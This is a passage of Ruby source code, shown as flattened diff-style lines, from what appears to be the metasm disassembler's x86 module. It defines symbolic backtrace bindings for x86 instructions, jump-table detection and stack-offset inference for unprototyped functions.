Expression[:eflag_c] - when 'nb', 'ae', 'nc'; Expression[:'!', :eflag_c] - when 'z', 'e'; Expression[:eflag_z] - when 'nz', 'ne'; Expression[:'!', :eflag_z] - when 'be', 'na'; Expression[:eflag_c, :|, :eflag_z] - when 'nbe', 'a'; Expression[:'!', [:eflag_c, :|, :eflag_z]] - when 's'; Expression[:eflag_s] - when 'ns'; Expression[:'!', :eflag_s] - when 'p', 'pe'; Expression::Unknown - when 'np', 'po'; Expression::Unknown - when 'l', 'nge'; Expression[:eflag_s, :'!=', :eflag_o] - when 'nl', 'ge'; Expression[:eflag_s, :==, :eflag_o] - when 'le', 'ng'; Expression[[:eflag_s, :'!=', :eflag_o], :|, :eflag_z] - when 'nle', 'g'; Expression[[:eflag_s, :==, :eflag_o], :&, :eflag_z] - when 'ecxz'; Expression[:'!', register_symbols[1]] - when 'cxz'; Expression[:'!', [register_symbols[1], :&, 0xffff]] - end - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def opsz(di) - ret = @size - ret = di.opcode.props[:argsz] if di and di.opcode.props[:argsz] - ret = 48 - ret if di and not di.opcode.props[:argsz] and di.instruction.prefix and di.instruction.prefix[:opsz] - ret - end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols - - mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff - sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] } - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov', 'movsx', 'movzx', 'movsxd', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } } - when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } } - when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'sub' => :-, 'or' => :|, 'and' => :&, 'xor' => :^, 'pxor' => :^, 'adc' => :+, 'sbb' => :- }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :eflag_c] if op == 'adc' or op == 'sbb' - # optimises eax ^ eax => 0 - # avoid hiding memory accesses (to not hide possible fault) - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'xadd'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1], a1 => Expression[a0] } } - when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } - when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask[di]] } } - when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } - when 'rol', 'ror' - lambda { |di, a0, a1| - e_op = (op[2] == ?r ? :>> : :<<) - inv_op = {:<< => :>>, :>> => :<< }[e_op] - sz = [a1, :%, opsz(di)] - isz = [[opsz(di), :-, a1], :%, opsz(di)] - # ror a, b => (a >> b) | (a << (32-b)) - { a0 => Expression[[[a0, e_op, sz], :|, [a0, inv_op, isz]], :&, mask[di]] } - } - when 'sar', 'shl', 'sal'; lambda { |di, a0, a1| { a0 => Expression[a0, (op[-1] == ?r ? :>> : :<<), [a1, :%, [opsz(di), 32].max]] } } - when 'shr'; lambda { |di, a0, a1| { a0 => Expression[[a0, :&, mask[di]], :>>, [a1, :%, opsz(di)]] } } - when 'cwd', 'cdq', 'cqo'; lambda { |di| { Expression[edx, :&, mask[di]] => Expression[mask[di], :*, sign[eax, di]] } } - when 'cbw', 'cwde', 'cdqe'; lambda { |di| - o2 = opsz(di)/2 ; m2 = (1 << o2) - 1 - { Expression[eax, :&, mask[di]] => Expression[[eax, :&, m2], :|, [m2 << o2, :*, [[eax, :>>, o2-1], :&, 1]]] } } - when 'push' - lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], - Indirection[esp, opsz(di)/8, di.address] => Expression[a0] } } - when 'pop' - lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8], - a0 => Indirection[esp, opsz(di)/8, di.address] } } - when 'pushfd' - # TODO Unknown per bit - lambda { |di| - efl = Expression[0x202] - bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } - bts[0, :eflag_c] - bts[6, :eflag_z] - bts[7, :eflag_s] - bts[11, :eflag_o] - { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl } - } - when 'popfd' - lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] } - { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } } - when 'sahf' - lambda { |di| bt = lambda { |pos| Expression[[eax, :>>, pos], :&, 1] } - { :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7] } } - when 'lahf' - lambda { |di| - efl = Expression[2] - bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } - bts[0, :eflag_c] #bts[2, :eflag_p] #bts[4, :eflag_a] - bts[6, :eflag_z] - bts[7, :eflag_s] - { eax => efl } - } - when 'pushad' - lambda { |di| - ret = {} - st_off = 0 - register_symbols.reverse_each { |r| - ret[Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address]] = Expression[r] - st_off += opsz(di)/8 - } - ret[esp] = Expression[esp, :-, st_off] - ret - } - when 'popad' - lambda { |di| - ret = {} - st_off = 0 - register_symbols.reverse_each { |r| - ret[r] = Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address] - st_off += opsz(di)/8 - } - ret[esp] = Expression[esp, :+, st_off] # esp is not popped - ret - } - when 'call' - lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], - Indirection[esp, opsz(di)/8, di.address] => Expression[di.next_addr] } } - when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } } - when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } } - when 'enter' - lambda { |di, a0, a1| - sz = opsz(di)/8 - depth = a1.reduce % 32 - b = { Indirection[ebp, sz, di.address] => Expression[ebp], - Indirection[[esp, :+, a0.reduce+sz*depth], sz, di.address] => Expression[ebp], - ebp => Expression[esp, :-, sz], - esp => Expression[esp, :-, a0.reduce+sz*depth+sz] } - (1..depth).each { |i| - b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] = - b[Indirection[[ebp, :-, i*sz], sz, di.address]] = - Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] - } - b - } - when 'leave'; lambda { |di| { ebp => Indirection[[ebp], opsz(di)/8, di.address], esp => Expression[ebp, :+, opsz(di)/8] } } - when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } } - when 'imul' - lambda { |di, *a| - # 1 operand form == same as 'mul' (ax:dx stuff) - next { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } if not a[1] - - if a[2]; e = Expression[a[1], :*, a[2]] - else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1] - end - { a[0] => e } - } - when 'mul', 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } - when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } - when /^(stos|movs|lods|scas|cmps)[bwd]$/ - lambda { |di| - op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/ - e_op = $1 - sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2] - eax_ = Reg.new(0, 8*sz).symbolic - dir = :+ - if di.block and (di.block.list.find { |ddi| ddi.opcode.name == 'std' } rescue nil) - dir = :- - end - pesi = Indirection[esi, sz, di.address] - pedi = Indirection[edi, sz, di.address] - pfx = di.instruction.prefix || {} - bd = - case e_op - when 'movs' - case pfx[:rep] - when nil; { pedi => pesi, esi => Expression[esi, dir, sz], edi => Expression[edi, dir, sz] } - else { pedi => pesi, esi => Expression[esi, dir, [sz ,:*, ecx]], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'stos' - case pfx[:rep] - when nil; { pedi => Expression[eax_], edi => Expression[edi, dir, sz] } - else { pedi => Expression[eax_], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'lods' - case pfx[:rep] - when nil; { eax_ => pesi, esi => Expression[esi, dir, sz] } - else { eax_ => Indirection[[esi, dir, [sz, :*, [ecx, :-, 1]]], sz, di.address], esi => Expression[esi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'scas' - case pfx[:rep] - when nil; { edi => Expression[edi, dir, sz] } - else { edi => Expression::Unknown, ecx => Expression::Unknown } - end - when 'cmps' - case pfx[:rep] - when nil; { edi => Expression[edi, dir, sz], esi => Expression[esi, dir, sz] } - else { edi => Expression::Unknown, esi => Expression::Unknown, ecx => Expression::Unknown } - end - end - bd[:incomplete_binding] = Expression[1] if pfx[:rep] - bd - } - when 'clc'; lambda { |di| { :eflag_c => Expression[0] } } - when 'stc'; lambda { |di| { :eflag_c => Expression[1] } } - when 'cmc'; lambda { |di| { :eflag_c => Expression[:'!', :eflag_c] } } - when 'cld'; lambda { |di| { :eflag_d => Expression[0] } } - when 'std'; lambda { |di| { :eflag_d => Expression[1] } } - when 'setalc'; lambda { |di| { Reg.new(0, 8).symbolic => Expression[:eflag_c, :*, 0xff] } } - when /^set/; lambda { |di, *a| { a[0] => Expression[decode_cc_to_expr(op[/^set(.*)/, 1])] } } - when /^cmov/; lambda { |di, *a| fl = decode_cc_to_expr(op[/^cmov(.*)/, 1]) ; { a[0] => Expression[[fl, :*, a[1]], :|, [[1, :-, fl], :*, a[0]]] } } - when /^j/ - lambda { |di, a0| - ret = { 'dummy_metasm_0' => Expression[a0] } # mark modr/m as read - if fl = decode_cc_to_expr(op[/^j(.*)/, 1]) and fl != Expression::Unknown - ret['dummy_metasm_1'] = fl # mark eflags as read - end - ret - } - when 'fstenv', 'fnstenv' - lambda { |di, a0| - # stores the address of the last non-control fpu instr run - lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi| - case pdi.opcode.name - when /fn?init|fn?clex|fldcw|fn?st[cs]w|fn?stenv|fldenv|fn?save|frstor|f?wait/ - when /^f/; true - end - } if di.block - lastfpuinstr = lastfpuinstr.address if lastfpuinstr - ret = {} - save_at = lambda { |off, val| ret[Indirection[a0.target + off, 4, di.address]] = val } - save_at[0, Expression::Unknown] - save_at[4, Expression::Unknown] - save_at[8, Expression::Unknown] - save_at[12, lastfpuinstr || Expression::Unknown] - save_at[16, Expression::Unknown] - save_at[20, Expression::Unknown] - save_at[24, Expression::Unknown] - ret - } - when 'bt'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1] } } - when 'bts'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :|, [1, :<<, [a1, :%, opsz(di)]]] } } - when 'btr'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :&, [[1, :<<, [a1, :%, opsz(di)]], :^, mask[di]]] } } - when 'btc'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } } - when 'bswap' - lambda { |di, a0| - if opsz(di) == 64 - { a0 => Expression[ - [[[[a0, :&, 0xff000000_00000000], :>>, 56], :|, - [[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|, - [[[a0, :&, 0x0000ff00_00000000], :>>, 24], :|, - [[a0, :&, 0x000000ff_00000000], :>>, 8]]], :|, - [[[[a0, :&, 0x00000000_ff000000], :<<, 8], :|, - [[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|, - [[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|, - [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] } - else # XXX opsz != 32 => undef - { a0 => Expression[ - [[[a0, :&, 0xff000000], :>>, 24], :|, - [[a0, :&, 0x00ff0000], :>>, 8]], :|, - [[[a0, :&, 0x0000ff00], :<<, 8], :|, - [[a0, :&, 0x000000ff], :<<, 24]]] } - end - } - when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} } - end - - # add eflags side-effects - - full_binding = case op - when 'adc', 'add', 'and', 'cmp', 'or', 'sbb', 'sub', 'xor', 'test', 'xadd' - lambda { |di, a0, a1| - e_op = { 'adc' => :+, 'add' => :+, 'xadd' => :+, 'and' => :&, 'cmp' => :-, 'or' => :|, 'sbb' => :-, 'sub' => :-, 'xor' => :^, 'test' => :& }[op] - res = Expression[[a0, :&, mask[di]], e_op, [a1, :&, mask[di]]] - res = Expression[res, e_op, :eflag_c] if op == 'adc' or op == 'sbb' - - ret = (binding ? binding[di, a0, a1] : {}) - ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] - ret[:eflag_s] = sign[res, di] - ret[:eflag_c] = case e_op - when :+; Expression[res, :>, mask[di]] - when :-; Expression[[a0, :&, mask[di]], :<, [a1, :&, mask[di]]] - else Expression[0] - end - ret[:eflag_o] = case e_op - when :+; Expression[[sign[a0, di], :==, sign[a1, di]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] - when :-; Expression[[sign[a0, di], :==, [:'!', sign[a1, di]]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] - else Expression[0] - end - ret - } - when 'inc', 'dec', 'neg', 'shl', 'shr', 'sar', 'ror', 'rol', 'rcr', 'rcl', 'shld', 'shrd' - lambda { |di, a0, *a| - ret = (binding ? binding[di, a0, *a] : {}) - res = ret[a0] || Expression::Unknown - ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] - ret[:eflag_s] = sign[res, di] - case op - when 'neg'; ret[:eflag_c] = Expression[[res, :&, mask[di]], :'!=', 0] - when 'inc', 'dec' # don't touch carry flag - else ret[:eflag_c] = Expression::Unknown # :incomplete_binding ? - end - ret[:eflag_o] = case op - when 'inc'; Expression[[a0, :&, mask[di]], :==, mask[di] >> 1] - when 'dec'; Expression[[res , :&, mask[di]], :==, mask[di] >> 1] - when 'neg'; Expression[[a0, :&, mask[di]], :==, (mask[di]+1) >> 1] - else Expression::Unknown - end - ret - } - when 'imul', 'mul', 'idiv', 'div', /^(scas|cmps)[bwdq]$/ - lambda { |di, *a| - ret = (binding ? binding[di, *a] : {}) - ret[:eflag_z] = ret[:eflag_s] = ret[:eflag_c] = ret[:eflag_o] = Expression::Unknown # :incomplete_binding ? - ret - } - end - - @backtrace_binding[op] ||= full_binding || binding if full_binding || binding - } - @backtrace_binding - end - - # returns the condition (bool Expression) under which a conditionnal jump is taken - # returns nil if not a conditionnal jump - # backtrace for the condition must include the jump itself (eg loop -> ecx--) - def get_jump_condition(di) - ecx = register_symbols[1] - case di.opcode.name - when /^j(.*)/ - decode_cc_to_expr($1) - when /^loop(.+)?/ - e = Expression[ecx, :'!=', 0] - e = Expression[e, :'||', decode_cc_to_expr($1)] if $1 - e - end - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when ModRM, Reg, SimdReg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] - # handle modifications to al/ah etc - bd.keys.grep(Expression).each { |e| - # must be in the form (x & mask), with x either :reg or (:reg >> shift) eg ah == ((eax >> 8) & 0xff) - if e.op == :& and mask = e.rexpr and mask.kind_of? Integer - reg = e.lexpr - reg = reg.lexpr if reg.kind_of? Expression and reg.op == :>> and shift = reg.rexpr and shift.kind_of? Integer - next if not reg.kind_of? Symbol - if bd.has_key? reg - # xchg ah, al ; pop sp.. - puts "backtrace: conflict for #{di}: #{e} vs #{reg}" if $VERBOSE - bd[reg] = Expression::Unknown - next - end - val = bd.delete e - mask <<= shift if shift - invmask = mask ^ (@size == 64 ? 0xffff_ffff_ffff_ffff : 0xffff_ffff) - if invmask == 0xffff_ffff_0000_0000 and not di.opcode.props[:op32no64] - bd[reg] = Expression[val, :&, 0xffff_ffff] - elsif invmask == 0 - bd[reg] = val - else - val = Expression[val, :<<, shift] if shift - bd[reg] = Expression[[reg, :&, invmask], :|, [val, :&, mask]] - end - end - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - sz = opsz(di) - case di.opcode.basename - when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]] - when 'jmp', 'call' - a = di.instruction.args.first - if dasm and a.kind_of?(ModRM) and a.imm and a.s == sz/8 and not a.b and dasm.get_section_at(a.imm) - return get_xrefs_x_jmptable(dasm, di, a, sz) - end - end - - case tg = di.instruction.args.first - when ModRM - tg.sz ||= sz if tg.kind_of? ModRM - [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - when Farptr; tg.seg.reduce < 0x30 ? [tg.addr] : [Expression[[tg.seg, :*, 0x10], :+, tg.addr]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # we detected a jmp table (jmp [base+4*idx]) - # try to return an accurate dest list - def get_xrefs_x_jmptable(dasm, di, mrm, sz) - # include the symbolic dest for backtrack stuff - ret = [Expression[mrm.symbolic(di)]] - i = mrm.i - if di.block.list.length == 2 and di.block.list[0].opcode.name =~ /^mov/ and a0 = di.block.list[0].instruction.args[0] and - a0.respond_to? :symbolic and a0.symbolic == i.symbolic - i = di.block.list[0].instruction.args[1] - end - pb = di.block.from_normal.to_a - if pb.length == 1 and pdi = dasm.decoded[pb[0]] and pdi.opcode.name =~ /^jn?be?/ and ppdi = pdi.block.list[-2] and ppdi.opcode.name == 'cmp' and - ppdi.instruction.args[0].symbolic == i.symbolic and lim = Expression[ppdi.instruction.args[1]].reduce and lim.kind_of? Integer - # cmp eax, 42 ; jbe switch ; switch: jmp [base+4*eax] - s = dasm.get_section_at(mrm.imm) - lim += 1 if pdi.opcode.name[-1] == ?e - lim.times { |v| - dasm.add_xref(s[1]+s[0].ptr, Xref.new(:r, di.address, sz/8)) - ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] - s[0].read(sz/8) - } - l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref') - replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l]) - return ret - end - - puts "unrecognized jmp table pattern, using wild guess for #{di}" if $VERBOSE - di.add_comment 'wildguess' - if s = dasm.get_section_at(mrm.imm - 3*sz/8) - v = -3 - else - s = dasm.get_section_at(mrm.imm) - v = 0 - end - loop do - ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness) - diff = Expression[ptr, :-, di.address].reduce - if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr)) - dasm.add_xref(s[1]+s[0].ptr-sz/8, Xref.new(:r, di.address, sz/8)) - ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] - elsif v > 0 - break - end - v += 1 - end - ret - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of? Indirection and expr.len == @size/8 and expr.target == Expression[register_symbols[4]] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - # XXX assume retaddrlist is either a list of addr of ret or a list with a single entry which is an external function name (thunk) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - esp, ebp = register_symbols[4, 2] - - # XXX handle retaddrlist for multiple/mixed thunks - if retaddrlist and not dasm.decoded[retaddrlist.first] and di = dasm.decoded[faddr] - # no return instruction, must be a thunk : find the last instruction (to backtrace from it) - done = [] - while ndi = dasm.decoded[di.block.to_subfuncret.to_a.first] || dasm.decoded[di.block.to_normal.to_a.first] and ndi.kind_of? DecodedInstruction and not done.include? ndi.address - done << ndi.address - di = ndi - end - if not di.block.to_subfuncret.to_a.first and di.block.to_normal and di.block.to_normal.length > 1 - thunklast = di.block.list.last.address - end - end - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown # TODO :pending or something ? (for recursive lazy functions) - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], (thunklast ? thunklast : retaddr), - :include_start => true, :snapshot_addr => faddr, :origin => retaddr, :from_subfuncret => thunklast) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - if dasm.function_blocks(faddr, true).length < 20 - register_symbols.each(&bt_val) - else - [ebp, esp].each(&bt_val) - end - end - - backtrace_update_function_binding_check(dasm, faddr, f, b, &bt_val) - - b - end - - def backtrace_update_function_binding_check(dasm, faddr, f, b) - sz = @size/8 - if b[:ebp] and b[:ebp] != Expression[:ebp] - # may be a custom 'enter' function (eg recent Visual Studio) - # TODO put all memory writes in the binding ? - [[:ebp], [:esp, :+, 1*sz], [:esp, :+, 2*sz], [:esp, :+, 3*sz]].each { |ptr| - ind = Indirection[ptr, sz, faddr] - yield(ind) - b.delete(ind) if b[ind] and not [:ebx, :edx, :esi, :edi, :ebp].include? b[ind].reduce_rec - } - end - if dasm.funcs_stdabi - if b[:esp] and b[:esp] == Expression::Unknown and not f.btbind_callback - puts "update_func_bind: #{Expression[faddr]} has esp -> unknown, use dynamic callback" if $DEBUG - f.btbind_callback = disassembler_default_btbind_callback - end - [:ebp, :ebx, :esi, :edi].each { |reg| - if b[reg] and b[reg] == Expression::Unknown - puts "update_func_bind: #{Expression[faddr]} has #{reg} -> unknown, presume it is preserved" if $DEBUG - b[reg] = Expression[reg] - end - } - else - if b[:esp] and not Expression[b[:esp], :-, :esp].reduce.kind_of?(::Integer) - puts "update_func_bind: #{Expression[faddr]} has esp -> #{b[:esp]}" if $DEBUG - end - end - - # rename some functions - # TODO database and real signatures - rename = - if b[:eax] and Expression[b[:eax], :-, faddr].reduce == 0 - 'geteip' # metasm pic linker - elsif b[:eax] and b[:ebx] and Expression[b[:eax], :-, :eax].reduce == 0 and Expression[b[:ebx], :-, Indirection[:esp, sz, nil]].reduce == 0 - 'get_pc_thunk_ebx' # elf pic convention - elsif b[:esp] and Expression[b[:esp], :-, [:esp, :-, Indirection[[:esp, :+, 2*sz], sz]]].reduce.kind_of? ::Integer and - dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } - '__SEH_prolog' - elsif b[:esp] == Expression[:ebp, :+, sz] and - dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } - '__SEH_epilog' - end - dasm.auto_label_at(faddr, rename, 'loc', 'sub') if rename - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? register_symbols[4] - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when ModRM - a.imm = (a.imm == old ? new : Expression[a.imm.bind(old => new).reduce]) if a.imm - a - else a - end - } - end - - # returns a DecodedFunction from a parsed C function prototype - # TODO rebacktrace already decoded functions (load a header file after dasm finished) - # TODO walk structs args - def decode_c_function_prototype(cp, sym, orig=nil) - sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) - df = DecodedFunction.new - orig ||= Expression[sym.name] - - new_bt = lambda { |expr, rlen| - df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) - } - - # return instr emulation - if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' - df.noreturn = true - else - new_bt[Indirection[:esp, @size/8, orig], nil] - end - - # register dirty (XXX assume standard ABI) - [:eax, :ecx, :edx].each { |r| - df.backtrace_binding.update r => Expression::Unknown - } - - # emulate ret - al = cp.typesize[:ptr] - stackoff = al - if sym.has_attribute 'fastcall' - stackoff = sym.type.args.to_a[2..-1].to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } - elsif sym.has_attribute 'stdcall' - stackoff = sym.type.args.to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } - end - df.backtrace_binding[:esp] = Expression[:esp, :+, stackoff] - - # scan args for function pointers - # TODO walk structs/unions.. - stackoff = al - sym.type.args.to_a.each { |a| - p = Indirection[[:esp, :+, stackoff], al, orig] - stackoff += (cp.sizeof(a) + al - 1) / al * al - if a.type.untypedef.kind_of? C::Pointer - pt = a.type.untypedef.type.untypedef - if pt.kind_of? C::Function - new_bt[p, nil] - df.backtracked_for.last.detached = true - elsif pt.kind_of? C::Struct - new_bt[p, al] - else - new_bt[p, cp.sizeof(nil, pt)] - end - end - } - - df - end - - # the lambda for the :default backtrace_binding callback of the disassembler - # tries to determine the stack offset of unprototyped functions - # working: - # checks that origin is a ret, that expr is an indirection from esp and that expr.origin is the ret - # bt_walk from calladdr until we finds a call into us, and assumes it is the current function start - # TODO handle foo: call bar ; bar: pop eax ; call ; ret -> bar is not the function start (foo is) - # then backtrace expr from calladdr to funcstart (snapshot), using esp -> esp+ - # from the result, compute stackoffvariable (only if trivial) - # will not work if the current function calls any other unknown function (unless all are __cdecl) - # will not work if the current function is framed (ebp leave ret): in this case the function will return, but its esp will be unknown - # if the stack offset is found and funcaddr is a string, fixup the static binding and remove the dynamic binding - # TODO dynamise thunks bt_for & bt_cb - def disassembler_default_btbind_callback - esp = register_symbols[4] - - lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| - @dasm_func_default_off ||= {} - if off = @dasm_func_default_off[[dasm, calladdr]] - bind = bind.merge(esp => Expression[esp, :+, off]) - break bind - end - break bind if not odi = dasm.decoded[origin] or odi.opcode.basename != 'ret' - expr = expr.reduce_rec if expr.kind_of? Expression - break bind unless expr.kind_of? Indirection and expr.origin == origin - break bind unless expr.externals.reject { |e| e =~ /^autostackoffset_/ } == [esp] - - curfunc = dasm.function[funcaddr] - if curfunc.backtrace_binding and tk = curfunc.backtrace_binding[:thunk] and dasm.function[tk] - curfunc = dasm.function[tk] - end - - # scan from calladdr for the probable parent function start - func_start = nil - dasm.backtrace_walk(true, calladdr, false, false, nil, maxdepth) { |ev, foo, h| - if ev == :up and h[:sfret] != :subfuncret and di = dasm.decoded[h[:to]] and di.opcode.basename == 'call' - func_start = h[:from] - break - elsif ev == :end - # entrypoints are functions too - func_start = h[:addr] - break - end - } - break bind if not func_start - puts "automagic #{Expression[funcaddr]}: found func start for #{dasm.decoded[origin]} at #{Expression[func_start]}" if dasm.debug_backtrace - s_off = "autostackoffset_#{Expression[funcaddr]}_#{Expression[calladdr]}" - list = dasm.backtrace(expr.bind(esp => Expression[esp, :+, s_off]), calladdr, :include_start => true, :snapshot_addr => func_start, :maxdepth => maxdepth, :origin => origin) - # check if this backtrace made us find our binding - if off = @dasm_func_default_off[[dasm, calladdr]] - bind = bind.merge(esp => Expression[esp, :+, off]) - break bind - elsif not curfunc.btbind_callback - break curfunc.backtrace_binding - end - e_expr = list.find { |e_expr_| - # TODO cleanup this - e_expr_ = Expression[e_expr_].reduce_rec - next if not e_expr_.kind_of? Indirection - off = Expression[[esp, :+, s_off], :-, e_expr_.target].reduce - off.kind_of? Integer and off >= @size/8 and off < 10*@size/8 and (off % (@size/8)) == 0 - } || list.first - - e_expr = e_expr.rexpr if e_expr.kind_of? Expression and e_expr.op == :+ and not e_expr.lexpr - break bind unless e_expr.kind_of? Indirection - - off = Expression[[esp, :+, s_off], :-, e_expr.target].reduce - if off.kind_of? Expression - bd = off.externals.grep(/^autostackoffset_/).inject({}) { |bd_, xt| bd_.update xt => @size/8 } - bd.delete s_off - if off.bind(bd).reduce == @size/8 - # all __cdecl - off = @size/8 - else - # check if all calls are to the same extern func - bd.delete_if { |k, v| k !~ /^autostackoffset_#{Expression[funcaddr]}_/ } - bd.each_key { |k| bd[k] = 0 } - if off.bind(bd).reduce.kind_of? Integer - off = off.bind(bd).reduce / (bd.length + 1) - end - end - end - if off.kind_of? Integer - if off < @size/8 or off > 20*@size/8 or (off % (@size/8)) != 0 - puts "autostackoffset: ignoring off #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE - off = :unknown - end - end - - bind = bind.merge esp => Expression[esp, :+, off] if off != :unknown - if funcaddr != :default - if not off.kind_of? ::Integer - #XXX we allow the current function to return, so we should handle the func backtracking its esp - #(and other register that are saved and restored in epilog) - puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace - else - puts "autostackoffset: found #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE - curfunc.btbind_callback = nil - curfunc.backtrace_binding = bind - - # rebacktrace the return address, so that other unknown 